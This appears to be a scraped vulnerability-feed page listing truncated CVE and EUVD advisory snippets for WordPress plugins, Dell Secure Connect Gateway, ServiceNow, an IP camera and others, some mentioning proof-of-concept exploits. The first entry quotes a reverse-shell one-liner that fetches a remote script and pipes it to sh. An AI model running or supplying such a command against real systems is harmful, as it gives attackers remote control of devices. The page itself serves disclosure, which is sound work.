CVE-2023-35803

CVE-2023-35803 - Unauthenticated RCE in Extreme Networks/Aerohive Wireless Access Points PoC for ARM-based access points running HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup here: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

CVE-2025-70962

CVE-2025-70962 Use of Hard-coded Credentials in ZOSI C519M IP camera RTSP service Field| Value ---|--- CVE ID| CVE-2025-70962 Vendor| ZOSI Technology Product| ZOSI C519M smart IP camera also listed as model 1NC-519M Affected versions| Firmware V4.2.8.832C01450BA tested build; earlier versions not...

EUVD-2026-72367

The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Biographical Info' meta field parameter in all versions up to, and including, 3.15.7 due to insufficient input sanitization and...

CVE-2026-6431 User Profile Builder <= 3.15.7 - Unauthenticated Stored Cross-Site Scripting via 'Biographical Info' Meta Field

The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Biographical Info' meta field parameter in all versions up to, and including, 3.15.7 due to insufficient input sanitization and...

CVE-2026-4945

The Otter Blocks plugin for WordPress (Gutenberg Blocks, Page Builder & FSE) is vulnerable to Insecure Direct Object Reference (IDOR) in the watch_checkout function across all versions up to and including 3.1.7 . The root cause is missing validation on a user-controlled key, allowing unauthentica...

CVE-2026-4945 Otter Blocks <= 3.1.7 - Missing Authorization to Unauthenticated Purchase Verification Bypass

The Otter Blocks – Gutenberg Blocks, Page Builder for Gutenberg Editor & FSE plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.1.7 via the 'watchcheckout' function due to missing validation on a user controlled key. This makes it possib...

CVE-2026-8279 Masteriyo LMS <= 2.2.0 - Missing Authorization to Unauthenticated Arbitrary Course Progress Deletion

The Masteriyo LMS plugin for WordPress is vulnerable to unauthorized data deletion due to a missing capability check on the 'deleteitempermissionscheck' function in the CourseProgressItemsController in all versions up to, and including, 2.2.0. This makes it possible for unauthenticated attackers ...

CVE-2026-8279

CVE-2026-8279 affects the Masteriyo LMS WordPress plugin in all versions up to and including 2.2.0 . The root cause is a missing capability check in the delete_item_permissions_check function within the CourseProgressItemsController, allowing unauthenticated attackers to delete arbitrary course p...

EUVD-2026-72366

The Otter Blocks – Gutenberg Blocks, Page Builder for Gutenberg Editor & FSE plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.1.7 via the 'watchcheckout' function due to missing validation on a user controlled key. This makes it possib...

EUVD-2026-72368

The Masteriyo LMS plugin for WordPress is vulnerable to unauthorized data deletion due to a missing capability check on the 'deleteitempermissionscheck' function in the CourseProgressItemsController in all versions up to, and including, 2.2.0. This makes it possible for unauthenticated attackers ...

CVE-2026-6431

CVE-2026-6431 affects the User Profile Builder WordPress plugin (all versions up to and including 3.15.7 ), which is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) through the 'Biographical Info' meta field parameter. The root cause is insufficient input sanitization and output e...

CVE-2024-4879

CVE-2024-4879 Exploit & PoC - Nuclei Template CVE-2024-4879 - Jelly Template Injection Vulnerability in ServiceNow ServiceNow has addressed an input validation vulnerability that was identified in Vancouver and Washington DC Now Platform releases. This vulnerability could enable an unauthenticate...

CVE-2026-61410

Dell SCG 5.0 Appliance (versions prior to 5.36.00.16 ) and Dell SCG 5.0 Application (versions prior to 5.36.00.00 ) contain a Missing Authorization vulnerability. An unauthenticated remote attacker can execute commands on the target system by sending a specially crafted request to the application...

EUVD-2026-72364

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Missing Authorization vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution. This vulnerabili...

CVE-2026-61410

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Missing Authorization vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution. This vulnerabili...

CVE-2020-12116

CVE-2020-12116 Proof of concept code to exploit CVE-2020-12116: Unauthenticated arbitrary file read on ManageEngine OpManger. Summary The latest release of OpManger contains a directory traversal vulnerability that allows unrestricted access to every file in the OpManager application. This includ...

CVE-2015-10141

CVE-2015-10141 root@kitploit: Exploit Title: xdebug Unauthenticated Command Execution Exploit Author: D3Ext Vendor Homepage: https://xdebug.org/ Sofware Link: https://pecl.php.net/package/xdebug/2.5.5/windows Version: 2.5.5 Tested on: Kali Linux 2025 CVE: CVE-2015-10141 Explanation An...

EUVD-2026-72361

Dell Secure Connect Gateway SCG 5.0 Application, versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading t...

CVE-2026-61409

Dell Secure Connect Gateway (SCG) 5.0 Application, in versions prior to 5.36.00.00 , is affected by an OS Command Injection vulnerability (Improper Neutralization of Special Elements). An unauthenticated attacker with remote network access could potentially exploit this flaw to achieve remote cod...

CVE-2026-61409

Dell Secure Connect Gateway SCG 5.0 Application, versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading t...